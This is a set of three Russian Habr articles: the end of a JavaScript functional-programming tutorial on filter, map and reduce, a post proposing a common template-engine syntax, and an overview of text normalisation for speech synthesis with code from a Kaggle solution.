Например, сколько бы ей ни передавали число `2`, эта функция всегда будет возвращать число `4`. В результате оказывается, что вызов вида `square(2)` можно заменить числом `4`. Это означает, что наша функция обладает свойством ссылочной прозрачности.
В целом, можно сказать, что если функция неизменно возвращает один и тот же результат для одних и тех же передаваемых ей входных значений, она обладает ссылочной прозрачностью.
### ▍Чистые функции + иммутабельные данные = ссылочная прозрачность
Задействовав идею, вынесенную в заголовок этого раздела, можно мемоизировать функции. Предположим, у нас имеется такая функция:
```
function sum(a, b) {
return a + b;
}
```
Мы вызываем её так:
```
sum(3, sum(5, 8));
```
Вызов `sum(5, 8)` всегда даёт `13`. Поэтому вышеприведённый вызов можно переписать так:
```
sum(3, 13);
```
Это выражение, в свою очередь, всегда даёт `16`. Как результат, его можно заменить числовой константой и [мемоизировать](https://en.wikipedia.org/wiki/Memoization) его.
Функции как объекты первого класса
----------------------------------
Идея восприятия функций как объектов первого класса заключается в том, что такие функции можно рассматривать как значения и работать с ними как с данными. При этом можно выделить следующие возможности функций:
* Ссылки на функции можно хранить в константах и переменных и через них обращаться к функциям.
* Функции можно передавать другим функциям в качестве параметров.
* Функции можно возвращать из других функций.
То есть, речь идёт о том, чтобы рассматривать функции как значения и обращаться с ними как с данными. При таком подходе можно комбинировать различные функции в процессе создания новых функций, реализующих новые возможности.
Представьте, что у нас имеется функция, которая складывает переданные ей два числовых значения, после чего умножает их на `2` и возвращает то, что у неё получилось:
```
function doubleSum(a, b) {
return (a + b) * 2;
}
```
Теперь напишем функцию, которая вычитает из первого переданного ей числового значения второе, умножает то, что получилось, на `2`, и возвращает вычисленное значение:
```
function doubleSubtraction(a, b) {
return (a - b) * 2;
}
```
Эти функции имеют схожую логику, различаются они лишь тем, какие именно операции они производят с переданными им числами. Если мы можем рассматривать функции как значения и передавать их как аргументы другим функциям, это означает, что мы можем создать функцию, которая принимает и использует другую функцию, описывающую особенности выполняемых вычислений. Эти рассуждения позволяют нам выйти на следующие конструкции:
```
function sum(a, b) {
return a + b;
}
function subtraction(a, b) {
return a - b;
}
function doubleOperator(f, a, b) {
return f(a, b) * 2;
}
doubleOperator(sum, 3, 1); // 8
doubleOperator(subtraction, 3, 1); // 4
```
Как видите, теперь у функции `doubleOperator()` имеется параметр `f`, а функция, которую он представляет, используется для обработки параметров `a` и `b`. Функции `sum()` и `substraction()`, передаваемые функции `doubleOperator()`, фактически, позволяют управлять поведением функции `doubleOperator()`, меняя его в соответствии с реализованной в них логикой.
Функции высшего порядка
-----------------------
Говоря о функциях высшего порядка мы имеем в виду функции, которые характеризуются хотя бы одной из следующих особенностей:
* Функция принимает другую функцию в качестве аргумента (таких функций может быть и несколько).
* Функция возвращает другую функцию в качестве результата своей работы.
Возможно, вы уже знакомы со стандартными методами JS-массивов `filter()`, `map()` и `reduce()`. Поговорим о них.
### ▍Фильтрация массивов и метод filter()
Предположим, у нас есть некая коллекция элементов, которую мы хотим отфильтровать по какому-то атрибуту элементов этой коллекции и сформировать новую коллекцию. Функция `filter()` ожидает получить какой-то критерий оценки элементов, на основе которого она и определяет, нужно или не нужно включать некий элемент в результирующую коллекцию. Этот критерий задаёт передаваемая ей функция, которая возвращает `true` в том случае, если функция `filter()` должна включить элемент в итоговую коллекцию, а в противном случае возвращает `false`.
Представим, что у нас имеется массив целых чисел и мы хотим отфильтровать его, получив новый массив, в котором содержатся только чётные числа из исходного массива.
#### Императивный подход
При применении императивного подхода к решению этой задачи средствами JavaScript нам нужно реализовать следующую последовательность действий:
* Создать пустой массив для новых элементов (назовём его `evenNumbers`).
* Перебрать исходный массив целых чисел (назовём его `numbers`).
* Поместить чётные числа, обнаруженные в массиве `numbers`, в массив `evenNumbers`.
Вот как выглядит реализация этого алгоритма:
```
var numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
var evenNumbers = [];
for (var i = 0; i < numbers.length; i++) {
if (numbers[i] % 2 == 0) {
evenNumbers.push(numbers[i]);
}
}
console.log(evenNumbers); // (6) [0, 2, 4, 6, 8, 10]
```
Кроме того, мы можем написать функцию (назовём её `even()`), которая, если число является чётным, возвращает `true`, а если нечётным — `false`, после чего передать её методу массива `filter()`, который, проверив с её помощью каждый элемент массива, сформирует новый массив, содержащий лишь чётные числа:
```
function even(number) {
return number % 2 == 0;
}
let listOfNumbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
listOfNumbers.filter(even); // [0, 2, 4, 6, 8, 10]
```
Вот, кстати, решение одной интересной задачи, касающейся [фильтрации массива](https://www.hackerrank.com/challenges/fp-filter-array/problem), которое я выполнил, работая над задачами по функциональному программированию на [Hacker Rank](https://www.hackerrank.com/domains/fp). По условию задачи нужно было отфильтровать массив целых чисел, выведя лишь те его элементы, которые меньше заданного значения `x`.
Императивное решение этой задачи на JavaScript может выглядеть так:
```
var filterArray = function(x, coll) {
var resultArray = [];
for (var i = 0; i < coll.length; i++) {
if (coll[i] < x) {
resultArray.push(coll[i]);
}
}
return resultArray;
}
console.log(filterArray(3, [10, 9, 8, 2, 7, 5, 1, 3, 0])); // (3) [2, 1, 0]
```
Суть императивного подхода заключается в том, что мы расписываем последовательность действий, выполняемых функцией. А именно — мы описываем перебор массива, сравнение текущего элемента массива с `x` и помещение этого элемента в массив `resultArray` в том случае, если он проходит проверку.
#### Декларативный подход
Как перейти к декларативному подходу решения этой задачи и соответствующему использованию метода `filter()`, являющегося функцией высшего порядка? Например, это может выглядеть так:
```
function smaller(number) {
return number < this;
}
function filterArray(x, listOfNumbers) {
return listOfNumbers.filter(smaller, x);
}
let numbers = [10, 9, 8, 2, 7, 5, 1, 3, 0];
filterArray(3, numbers); // [2, 1, 0]
```
Возможно, вам в этом примере необычным покажется использование ключевого слова `this` в функции `smaller()`, но ничего сложного тут нет. Ключевое слово `this` представляет собой второй аргумент метода `filter()`. В нашем примере это — число `3`, представленное параметром `x` функции `filterArray()`. На это число и указывает `this`.
Такой же подход можно использовать и в том случае, если в массиве хранятся сущности, обладающие достаточно сложной структурой, например — объекты. Предположим, у нас имеется массив, хранящий объекты, содержащие имена людей, представленные свойством `name`, и сведения о возрасте этих людей, представленные свойством `age`. Вот как выглядит такой массив:
```
let people = [
{ name: "TK", age: 26 },
{ name: "Kaio", age: 10 },
{ name: "Kazumi", age: 30 }
];
```
Мы хотим этот массив отфильтровать, выбрав из него только те объекты, которые представляют собой людей, чей возраст превысил `21` год. Вот как можно решить эту задачу:
```
function olderThan21(person) {
return person.age > 21;
}
function overAge(people) {
return people.filter(olderThan21);
}
overAge(people); // [{ name: 'TK', age: 26 }, { name: 'Kazumi', age: 30 }]
```
Здесь у нас имеется массив с объектами, представляющими людей. Мы проверяем элементы этого массива с помощью функции `olderThan21()`. В данном случае мы, при проверке, обращаемся к свойству `age` каждого элемента, проверяя, превышает ли значение этого свойства `21`. Данную функцию мы передаём методу `filter()`, который и фильтрует массив.
### ▍Обработка элементов массивов и метод map()
Метод `map()` используется для преобразования элементов массивов. Он применяет к каждому элементу массива переданную ему функцию, после чего строит новый массив, состоящий из изменённых элементов.
Продолжим эксперименты с уже знакомым вам массивом `people`. Теперь мы не собираемся фильтровать этот массив, основываясь на свойстве объектов `age`. Нам нужно сформировать на его основе список строк вида `TK is 26 years old`. Строки, в которые превращаются элементы, при таком подходе будут строиться по шаблону `p.name is p.age years old`, где `p.name` и `p.age` — это значения соответствующих свойств элементов массива `people`.
Императивный подход к решению этой задачи на JavaScript выглядит так:
```
var people = [
{ name: "TK", age: 26 },
{ name: "Kaio", age: 10 },
{ name: "Kazumi", age: 30 }
];
var peopleSentences = [];
for (var i = 0; i < people.length; i++) {
var sentence = people[i].name + " is " + people[i].age + " years old";
peopleSentences.push(sentence);
}
console.log(peopleSentences); // ['TK is 26 years old', 'Kaio is 10 years old', 'Kazumi is 30 years old']
```
Если прибегнуть к декларативному подходу, то получится следующее:
```
function makeSentence(person) {
return `${person.name} is ${person.age} years old`;
}
function peopleSentences(people) {
return people.map(makeSentence);
}
peopleSentences(people); // ['TK is 26 years old', 'Kaio is 10 years old', 'Kazumi is 30 years old']
```
Собственно говоря, основная мысль тут заключается в том, что с каждым элементом исходного массива нужно что-то сделать, после чего — поместить его в новый массив.
Вот ещё одна задача с Hacker Rank, которая посвящена [обновлению списка](https://www.hackerrank.com/challenges/fp-update-list/problem). А именно, речь идёт о том, чтобы поменять значения элементов существующего числового массива на их абсолютные значения. Так, например, при обработке массива `[1, 2, 3, -4, 5]` он приобретёт вид `[1, 2, 3, 4, 5]` так как абсолютное значение `-4` равняется `4`.
Вот пример простого решения этой задачи, когда мы перебираем массив и меняем значения его элементов на их абсолютные значения.
```
var values = [1, 2, 3, -4, 5];
for (var i = 0; i < values.length; i++) {
values[i] = Math.abs(values[i]);
}
console.log(values); // [1, 2, 3, 4, 5]
```
Тут для преобразования значений элементов массива использован метод `Math.abs()`, изменённые элементы записываются туда же, где они были до преобразования.
Это решение не является примером функционального подхода к программированию.
Первое, что надо вспомнить в связи с этим решением, заключается в том, что выше мы говорили о важности иммутабельности. Эта концепция делает результаты работы функций предсказуемыми и ведёт к стабильной работе функций. При таком подходе, решая нашу задачу, нужно создать новый массив, содержащий абсолютные значения элементов исходного массива.
Второй вопрос, который стоит себе задать в этой ситуации, касается метода массивов `map()`. Почему бы не воспользоваться им?
Вооружившись этими идеями, я решил поэкспериментировать с методом `abs()`, взглянуть на то, как он обрабатывает разные числа.
```
Math.abs(-1); // 1
Math.abs(1); // 1
Math.abs(-2); // 2
Math.abs(2); // 2
```
Как видно, он возвращает положительные числа, представляющие собой абсолютное значение передаваемых ему чисел.
После того, как мы поняли принцип преобразования числа к его абсолютному значению, мы можем использовать `Math.abs()` в качестве аргумента метода массива `map()`. Помните о том, что функции высшего порядка могут принимать другие функции и использовать их? Метод `map()` является именно такой функцией. Вот как решение нашей задачи будет выглядеть теперь:
```
let values = [1, 2, 3, -4, 5];
function updateListMap(values) {
return values.map(Math.abs);
}
updateListMap(values); // [1, 2, 3, 4, 5]
```
Уверен, никто не поспорит с тем, что оно, в сравнении с предыдущим вариантом, получилось куда более простым, предсказуемым и понятным.
### ▍Преобразование массивов и метод reduce()
В основу метода `reduce()` положена идея преобразования массива к единственному значению путём комбинации его элементов с использованием некоей функции.
Распространённым примером применения этого метода является нахождение общей суммы по некоему заказу. Представьте, что речь идёт об интернет-магазине. Покупатель добавляет в корзину товары `Product 1`, `Product 2`, `Product 3` и `Product 4`. После этого нам надо найти общую стоимость этих товаров.
Если воспользоваться для решения этой задачи императивным подходом, то нужно перебрать список товаров из корзины и сложить их стоимости. Например, это может выглядеть так:
```
var orders = [
{ productTitle: "Product 1", amount: 10 },
{ productTitle: "Product 2", amount: 30 },
{ productTitle: "Product 3", amount: 20 },
{ productTitle: "Product 4", amount: 60 }
];
var totalAmount = 0;
for (var i = 0; i < orders.length; i++) {
totalAmount += orders[i].amount;
}
console.log(totalAmount); // 120
```
Если воспользоваться для решения этой задачи методом массивов `reduce()`, то мы можем создать функцию (`sumAmount()`), используемую для вычисления суммы элементов массива, после чего передать её методу `reduce()`:
```
let shoppingCart = [
{ productTitle: "Product 1", amount: 10 },
{ productTitle: "Product 2", amount: 30 },
{ productTitle: "Product 3", amount: 20 },
{ productTitle: "Product 4", amount: 60 }
];
const sumAmount = (currentTotalAmount, order) => currentTotalAmount + order.amount;
function getTotalAmount(shoppingCart) {
return shoppingCart.reduce(sumAmount, 0);
}
getTotalAmount(shoppingCart); // 120
```
Тут имеется массив `shoppingCart`, представляющий собой корзину покупателя, функция `sumAmount()`, которая принимает элементы массива (объекты `order`, при этом нас интересуют их свойства `amount`), и текущее вычисленное значение суммы их стоимостей — `currentTotalAmount`.
При вызове метода `reduce()`, выполняемого в функции `getTotalAmount()`, ему передаётся функция `sumAmount()` и начальное значение счётчика, которое равняется `0`.
Ещё один способ решения нашей задачи заключается в комбинации методов `map()` и `reduce()`. Что имеется в виду под их «комбинацией»? Дело тут в том, что мы можем использовать метод `map()` для преобразования массива `shoppingCart` в массив, содержащий лишь значения свойств `amount` хранящихся в этом массиве объектов, а затем воспользоваться методом `reduce()` и функцией `sumAmount()`. Вот как это выглядит:
```
const getAmount = (order) => order.amount;
const sumAmount = (acc, amount) => acc + amount;
function getTotalAmount(shoppingCart) {
return shoppingCart
.map(getAmount)
.reduce(sumAmount, 0);
}
getTotalAmount(shoppingCart); // 120
```
Функция `getAmount()` принимает объект и возвращает только его свойство `amount`. После обработки массива с использованием метода `map()`, которому передана эта функция, получается новый массив, который выглядит как `[10, 30, 20, 60]`. Затем, с помощью `reduce()`, мы находим сумму элементов этого массива.
### ▍Совместное использование методов filter(), map() и reduce()
Выше мы поговорили о том, как работают функции высшего порядка, рассмотрели методы массивов `filter()`, `map()` и `reduce()`. Теперь, на простом примере, рассмотрим использование всех трёх этих функций.
Продолжим пример с интернет-магазином. Предположим, корзина покупателя сейчас выглядит так:
```
let shoppingCart = [
{ productTitle: "Functional Programming", type: "books", amount: 10 },
{ productTitle: "Kindle", type: "eletronics", amount: 30 },
{ productTitle: "Shoes", type: "fashion", amount: 20 },
{ productTitle: "Clean Code", type: "books", amount: 60 }
]
```
Нам нужно узнать стоимость книг в заказе. Вот какой алгоритм можно предложить для решения этой задачи:
* Отфильтровать массив по значению свойства `type` его элементов, учитывая то, что нас интересует значение этого свойства `books`.
* Преобразовать полученный массив в новый, содержащий лишь стоимости товаров.
* Сложить все стоимости товаров и получить итоговое значение.
Вот как выглядит код, реализующий этот алгоритм:
```
let shoppingCart = [
{ productTitle: "Functional Programming", type: "books", amount: 10 },
{ productTitle: "Kindle", type: "eletronics", amount: 30 },
{ productTitle: "Shoes", type: "fashion", amount: 20 },
{ productTitle: "Clean Code", type: "books", amount: 60 }
]
const byBooks = (order) => order.type == "books";
const getAmount = (order) => order.amount;
const sumAmount = (acc, amount) => acc + amount;
function getTotalAmount(shoppingCart) {
return shoppingCart
.filter(byBooks)
.map(getAmount)
.reduce(sumAmount, 0);
}
getTotalAmount(shoppingCart); // 70
```
Итоги
-----
В этом материале мы поговорили о применении некоторых идей функционального программирования в JavaScript-разработке. Надеемся, вам эти идеи пригодятся.
**Уважаемые читатели!** Пользуетесь ли вы методами функционального программирования в своих проектах?
[](https://ruvds.com/ru-rub/news/read/95)
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/434112/ | null | ru | null |
# Стандарты синтаксиса шаблонизаторов
Перестали ли вы слышать от новичков вопрос: «какой выбрать шаблонизатор?». Не думаю.
Единственное что можно с уверенностью сказать, что периодически некоторые решения становятся популярны в определенных кругах, но они по большей части органичение их области применения, это язык программирования. Перечислять плюсы существования каких-либо стандартов не нужно. Все понимают, «от этого хорошо будет всем». Придумать, закрепить, применить их – вот эта задача, далеко не тривиальная, но ведь решаемая.
Давайте начнем двигаться к этому.
Само собой идея ввести единый синтаксис шаблонов не нова. Как видно сейчас по многообразию существующих шаблонизаторов, синтаксис онных зависим от языка программирования.
Можно сделать вывод, что необходимо выработать что-то, что подходит всем. Отчетливо мы понимаем, что громоздкие синтаксисы не приживаются (здравствуй, xslt). Но и проявление минимализма не есть хорошо. Можно пойти по пути, когда у нас есть краткая и полная форма записи для операторов, и сделать допущение, что полная форма записи работает для всех, краткая уже для более узкого круга парсеров. То есть мы хотим получить плюшку в виде краткого синтаксиса, но готовы заплатить монету в виде отказа прямой поддержки шаблонов на языке «ххх». При этом для этого круга языков, такие шаблоны не должны быть помехой. Ну а если на захотелось перенести шаблоны на ЯП «ххх» мы должны иметь возможность оперативно пройтись по всем шаблонам и заменить краткий синтаксис на полный.
Для генерации шаблонизатору нужно скормить данные в определенном формате. Благо у нас тут более менее всё устаканилось: JSON и XML. Но, так же нужно учеть, что не всегда целесообразно подготавливать данные перед началом генерации шаблона. Бывают случаии, когда нужно формировать данные в процессе исполнения кода шаблона. Плюс сегодня некоторые шаблонизаторы предлагают возможность обработки, форматирования данных перед вставкой в шаблон. От этого так же не стоит отказываться.
Шаблонизаторы надо отличать от фрэймверков, позволяющих полностью обработать пользовательский запрос, от приёма до выдачи контента. Такая обвязка(прием, обработка, выдача) для разработки шаблонизатора — избыточна. Но, это не значит, что её не должно быть, и нужно вставлять палки в колеса разработчикам онных. Наоборот, нужно предоставить максимально простой интерфейс к использванию шаблона. Тут хочется сделать так же пометку, что в шаблонизации нуждается не только серверая часть. Применять подобный подход будет правильно и на клиентской стороне.
Парсер шаблона должен на выходе дать нам нативный код для нашего ЯП. Не нужно, чтобы при каждом обращении к шаблону нам приходилось его парсить. С этой задачей так же все справляются по разному. Кто-то игнорирует и идет в лоб, парсит при каждом обращении, кто-то генерирует код (eval-style), в каких-то ЯП есть возможность добавить метод на лету, кто-то компилирует шаблоны один раз, а затем их использует, и еще наверное есть много интересных способов. Варьируются они между простотой разработки и производительностью. А мы хотим чтобы хорошо было и тем кто использует возможность держать обработчик запросов запущенным, и от запроса к запросу только использует результирующий код шаблона, а кто-то запускает обработчик на каждый запрос, и для них вопрос времени получения исполняемого кода чувствителен. В ситуациях, когда мы компилируем шаблон, порой бывает лень внеся очередную правку запускать компилятор. Нужен механизм, позволяющий использовать пердпросмотр для нашего шаблона. тут конечно все осложняется подстановкой тестовых данных, но и это все решаемо.
Невероятно много условий.
Практика показывает, что универсальные решения частенько проигрывают узкоспециалзированным. Да, это так. Только осталось выяснить, сколько этот проигрыш будет в нашем случае? Результатом выработки стандарта хочется получить примеры реализация для каждого ЯП. Так что не думаю что будет все печально.
Вот небольшие примеры реализации операторов/тэгов в разных шаблонизаторах:
> `Django:
>
> {% if today\_is\_weekend %}
>
> <p>Welcome to the weekend!p>
>
> {% else %}
>
> <p>Get back to work.p>
>
> {% endif %}
>
>
>
> {% for athlete in athlete\_list %}
>
> <li>{{ athlete.name }}li>
>
> {% endfor %}
>
>
>
> XSLT:
>
> <xsl:choose>
>
> <xsl:when test="/some/node = 1">
>
> One
>
> xsl:when>
>
> <xsl:otherwise>
>
> More.
>
> xsl:otherwise>
>
> xsl:choose>
>
>
>
> <xsl:for-each select="/nodes/\*">
>
> Name: {./name}
>
> xsl:for-each>
>
>
>
> HTML::Template:
>
> <TMPL\_IF BOOL>
>
> Some text that is included only if BOOL is true
>
> <TMPL\_ELSE>
>
> Some text that is included only if BOOL is false
>
> TMPL\_IF>
>
>
>
> <TMPL\_LOOP NAME=EMPLOYEE\_INFO>
>
> Name: <TMPL\_VAR NAME=NAME> <br>
>
> Job: <TMPL\_VAR NAME=JOB> <p>
>
> TMPL\_LOOP>
>
>
>
> Smarty
>
> {if $name eq 'Fred'}
>
> Welcome Sir.
>
> {else}
>
> Welcome, whatever you are.
>
> {/if}
>
>
>
> {foreach key=key item=item from=$contact}
>
> {$key}: {$item}<br>
>
> {$key}: {$item}<br />
>
> {/foreach}
>
>
>
> EJS — Embedded Javascript
>
> <% if(question) { %>
>
> <h2><%= author %>: <%= question %>h2>
>
> <% } else { %>
>
> <h2>Нет вопросов, на которые можно ответить!h2>
>
> <% } %>
>
>
>
> <% for(var i=0; i%>
>
> <li><%= supplies[i] %>li>
>
> <% } %>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Феерично, неправда ли? Конечно, люди использующие какие-то шаблоны, уже привыкли к их особенностям, и не особо видят целесообразность *менять что-то в жизни*. Не хочется что-либо доказывать, кого-либо уговаривать. Не скажу что вот так сходу хватит запала просто взять все и сделать. Хочется найти людей кому это интересно. Когда работа будет идти в группе людей — то это будет хорошо мотивировать участников.
Можно говорить что это будет бесконечный процесс, или нахер никому не нужная работа. Я считаю это не так. Во-первых разбирающийся маломальски в вопросе человек в течении года-двух может реализовать свое решение, которое будет отвечать большиству *его* требований. Во-вторых, пока число самописных шаблонизаторов растет пропорционально количеству людей, осваивающих веб-программирование, ситуация не меняется коренным образом.
Кто-то скажет, что практиченее сегодня решить любую задачу с помощью имеющихся инструментов. Не сказать что мне всё не нравится. Нет, есть вполне достойные экземляры, но ведь это не отменяет проблемы отсуствия свода каких либо правил. Сегодня разработчики вашего шаблонизатора скажут: «а не изменить ли нам в корне подход?!», придумюат что-то несоместимое со старыми поделками. Все мы люди, рано или поздно «отходим от дел», и далеко не всегда есть кому продолжить наше дело. Тут я наверное сильно замахнулся, ведь тенденции в интернете меняются быстрее чем мы стареем, но это не отменяет сказанного.
Да, по большому счет это пока все *палкой по воде*. Нет никакой структуры организации работы коллектива над этой задачей, но ведь это всё дело наживное.
Коротко о главном:
Сформировать группу заинтересованных, разбирающихся в предмете, способных обсудить а затем и реализовать определенные алгоритмы обработки на разных языках программирования.
Желание то есть?
P.S. ненужно говорить, что ничегоне получится, ненужно необоснованной критики, не к чему это, не нервничайте. | https://habr.com/ru/post/104921/ | null | ru | null |
# Автоматический синтез речи: взгляд лингвиста
Что первым придет в голову, если перед нами встанет задача автоматического порождения речи по тексту? Вероятнее всего, мы позаботимся о расстановке пауз между словами, постараемся правильно выбрать интонацию фразы и расставить смысловые акценты. Обязательно построим фонетическую транскрипцию: орфография и произношение далеко не всегда однозначно соответствуют друг другу, о чем компьютер не узнает без нашей помощи. Полученную транскрипцию переведем в цифровой сигнал, который затем преобразуем в звуковые колебания.
Все перечисленные пункты являются важными и нужными. Однако они не будут выполнены корректно без предварительной подготовки: определения границ предложений, расшифровки сокращений, расстановки ударений. Эти (и многие другие) задачи объединены под общим названием *нормализации* или *лингвистической обработки текста*. В данной статье мы рассмотрим нормализацию с языковой точки зрения и приведем ее программную реализацию.
Токенизация на предложения
--------------------------
Для начала разделим текст на отрезки, которые впоследствии будут основными единицами синтеза, – предложения. На первый взгляд все просто: предложениями считаем части текста между точками, вопросительным и восклицательным знаками. Однако для анализа реальных текстов такого подхода недостаточно. Так, точка может не только обозначать конец предложения, но и быть элементом сокращения: например, в предложении *"Матчи Евро в Санкт-Петербурге посетили более 132,7 тыс. зрителей"*. Нужно проанализировать контекст: с одной стороны, является ли слово перед точкой сокращением, и, с другой стороны, следует ли за точкой слово с большой буквы. Даже при учете этих факторов могут возникнуть сложные случаи. Например, если слово после точки является именованной сущностью и пишется с большой буквы, как для предложения *"В 1868 г. Лев Толстой закончил «Войну и мир»"*. Для синтеза речи очень важно правильно разделить текст на предложения, ведь на основе этого деления затем размечаются смысловые акценты и интонация фразы.
Расшифровка сокращений
----------------------
Как показывают примеры выше, текст может включать в себя не только полные слова, но и сокращения (*тыс., г.*). Для правильного синтеза необходимо заменить сокращения на полные слова, которые уже будут читаться по правилам русского языка. При расшифровке сокращений мы сталкиваемся с несколькими трудностями. Во-первых, сокращения зачастую неоднозначны: например, за сокращением *г.* могут скрываться два полных слова – как *год*, так и *город*. Во-вторых, за счет того, что в русском языке существительные склоняются по падежам (в отличие, например, от английского языка), приходится выбирать правильную падежную форму для сокращения. Так, сокращение *км* может расшифровываться по-разному в зависимости от цифры перед ним: *1 км = 1 километр, 2 км = 2 километра, 5 км = 5 километров, к 5 км = к 5 километрам.*
Перевод цифр в слова
--------------------
Впрочем, цифры сами по себе тоже представляют некоторую сложность при нормализации текста: *1 км* – это *один километр* или *первый километр*? Слова естественного языка, в которые преобразуются числовые записи, называются числительными. Они могут обозначать количество обозначаемых предметов и относиться к разряду количественных числительных: *один, два, три, десять, пятьдесят пять*. Если же они обозначают номер следования предмета, то являются порядковыми: *первый, второй, третий, десятый, пятьдесят пятый*. При расшифровке числительных производится выбор между этими разрядами. Кроме того, в текстах могут встретиться стандартные последовательности цифр. Например, цифровая последовательность в предложении *«Поэт М.Ю. Лермонтов родился 15.10.1814 в Москве»* обозначает дату и должна быть прочитана по заданным правилами: число *15* преобразуются в порядковое числительное *пятнадцатого,* число *10* заменяется названием месяца в правильной форме – *октября*, число *1814* преобразуется в порядковое числительное *тысяча восемьсот четырнадцатом*, добавляется слово *года*.
С латиницы на кириллицу
-----------------------
За исключением этих нестандартных записей, мы, конечно же, ожидаем, что если в тексте встретилось обыкновенное привычное нам слово, то это слово русского языка, записанное кириллицей. Но здесь нас снова ждет разочарование – в реальных текстах часто встречаются слова, записанные латинским алфавитом: «*Microsoft и Google стоят на пороге войны»*. Есть два способа борьбы с этой неприятной неожиданностью. Можно составить базы данных наиболее употребительных иностранных слов и их эквивалентов в русском языке: *Microsoft = майкрософт, Google = гугл*. Также можно составить правила дешифровки латинских символов, которые содержат русские эквиваленты каждой латинской букве. Тогда в случае, если встретившееся в тексте слово на латинице не будет найдено в базе данных, каждая буква будет преобразована по соответствующим правилам.
Расстановка ударений
--------------------
Кажется, что вот теперь-то мы точно готовы приступить к синтезу речи, ведь весь текст преобразован в последовательность слов русского языка. И вот мы сталкиваемся с первым словом в предложении: *мáйкрософт.* Или все-таки *майкросóфт*? А может быть *мáйкросóфт*? Расстановка ударений – вот финальный этап, о котором необходимо позаботиться при нормализации текста для генерации речи.
Для большинства слов русского языка данные об ударении хранятся в словарях. Разработчикам синтеза русской речи очень повезло: они могут использовать данные об ударении около 10 000 слов из «Грамматического словаря русского языка» знаменитого лингвиста А.А. Зализняка. Однако каким бы объемным ни был словарь, в текстах будут встречаться слова, которые не найдутся в словаре.
Зачастую такие слова могут быть правильно интерпретированы с помощью анализа слова на составляющие его элементы – основу и суффиксы. Подобный анализ позволяет связать незнакомое слово с уже известным словом, содержащимся в словаре. Например, если в словаре нет слова *супервыставка*, мы можем выделить в нем приставку *су́пер*- и основу *вы́ставка*, которая в словаре есть. Также при наличии достаточно большого словаря транскрипций можно обучить статистическую модель, выводящую место ударения автоматически. В случае с распространенными иностранными словами вроде *Microsoft* данные об ударении необходимо включить в базу наиболее употребительных иностранных слов и их эквивалентов в русском языке.
Бéлки или белки́?
-----------------
Предположим, что все предыдущие этапы выполнены, и мы во всеоружии готовы встретить любые трудности, связанные с расстановкой ударения. И вот мы видим предложение: "*Мои коллеги много работают и крутятся как белки в колесе.* Ведьмы собаку съели на расставлении ударений и без промедления доходим до слова *бéлки*… или все же *белки́?* Как гром среди ясного неба, перед нами стала задача снятия омонимии – определения места ударения в словах, на письме похожих как две капли воды, но имеющих различное произношение. Снятие омонимии осуществляется при помощи анализа контекста. В случае примера выше поиск ключевых слов показывает, что перед нами устойчивое выражение или фразеологизм, что определяет выбор ударения: *крутятся как бéлки в колесе.* Разрешить омонимию могут помочь и другие ключевые слова: например, *на* *сосне* в предложении *«На высокой сосне сидели бéлки»*.
Очень интересно, но где код?
----------------------------
Перечисленные проблемы могут быть решены двумя способами: либо с помощью инженерного подхода, основанного на словарях и правилах (rule-based), либо с помощью алгоритмов машинного обучения и нейронных сетей (machine learning).
Мы рассмотрим реализацию подходов на примере соревнования Kaggle [«Text Normalization Challenge - Russian Language»](https://www.kaggle.com/competitions/text-normalization-challenge-russian-language/overview). В нем на материале русского языка решается задача нормализации текста для синтеза речи. Данные включают случаи, где последовательность чисел должна быть преобразована в текстовую строку: *12:47* **→** *двенадцать сорок-семь*, *$3.16* **→** *три доллара, шестнадцать центов*. Есть и более сложные преобразования, где необходимо учитывать контекст: так, в предложении «*Проверено 12 февраля 2013*» числовую последовательность следует расшифровать *двенадцатого февраля две тысячи тринадцатого год*а, а не *двенадцатое февраля две тысячи тринадцатого года*.
Инженерный подход
-----------------
Для начала обратимся к [решению на основе правил и словарей](https://www.kaggle.com/competitions/text-normalization-challenge-russian-language/discussion/44034). В нем анализировались последовательности слов длиной 5: помимо целевого, также 2 предыдущих и 2 последующих слова. Во внимание не брались знаки препинания и тире. Для распознавания номеров наподобие *978-5-104935-25-2* использовался пакет *num2words.* Для парсинга дат вида *02.10.15 г.*, где месяц записан числом, создавались отдельные словари с однозначным соответствием числа и названия месяца:
```
mm = {"1":"января",
"2":"февраля",
"3":"марта",
"4":"апреля",
"5":"мая",
"6":"июня",
"7":"июля",
"8":"августа",
"9":"сентября",
"10":"октября",
"11":"ноября",
"12":"декабря",
"01":"января",
"02":"февраля",
"03":"марта",
"04":"апреля",
"05":"мая",
"06":"июня",
"07":"июля",
"08":"августа",
"09":"сентября"
}
```
Для расшифровки сокращений вроде *кг* или *км/ч* задавались пользовательские словари. Сложность состояла также в том, что одна и та же расшифровка могла соответствовать нескольким сокращениям: например, величина *квадратный километр* могла быть записана как *км2*, *км2* и *km2*, что при инженерном подходе должно быть прописано как отдельное условие:
```
m = {}
m['км²'] = 'квадратных километров'
m['км2'] = 'квадратных километров'
m['km²'] = 'квадратных километров'
m['км'] = 'километрах'
m['km'] = 'километрах'
m['кг'] = 'килограмма'
m['kg'] = 'килограмма'
m['m²'] = 'квадратных метров'
m['м²'] = 'квадратных метров'
m['м³'] = 'кубических метров'
m["млн"] = "миллионов"
m["м/с"] = "метров в секунду"
m["мм"] = "миллиметров"
m["м"] = "метров"
```
Автор решения отмечает, что нестандартная транслитерация была самой большой проблемой. Сначала была попытка использовать фонетическую транслитерацию из пакета *nltk.corpus.cmudict* и сопоставить ее непосредственно с русским языком. Но из-за ограничений словаря (всего 134 000 слов) это не сработало. Затем был использован пакет *transliterate* в качестве основы, что дало 15% точности на тренировочных данных. В итоге более 40 правил были добавлены вручную, что дало 50% точности.
Нейросетевой подход
-------------------
[Данное решение](https://www.kaggle.com/competitions/text-normalization-challenge-russian-language/discussion/43917) состояло в обучении сверточной нейронной сети (convolutional neural network, CNN) на основе архитектуры [FAIR Sequence-to-Sequence Toolkit](https://github.com/facebookresearch/fairseq). Sequence-to Sequence, или сокращенно seq2seq, – это архитектура нейронных сетей для задач, где подается на вход и возвращается последовательность.
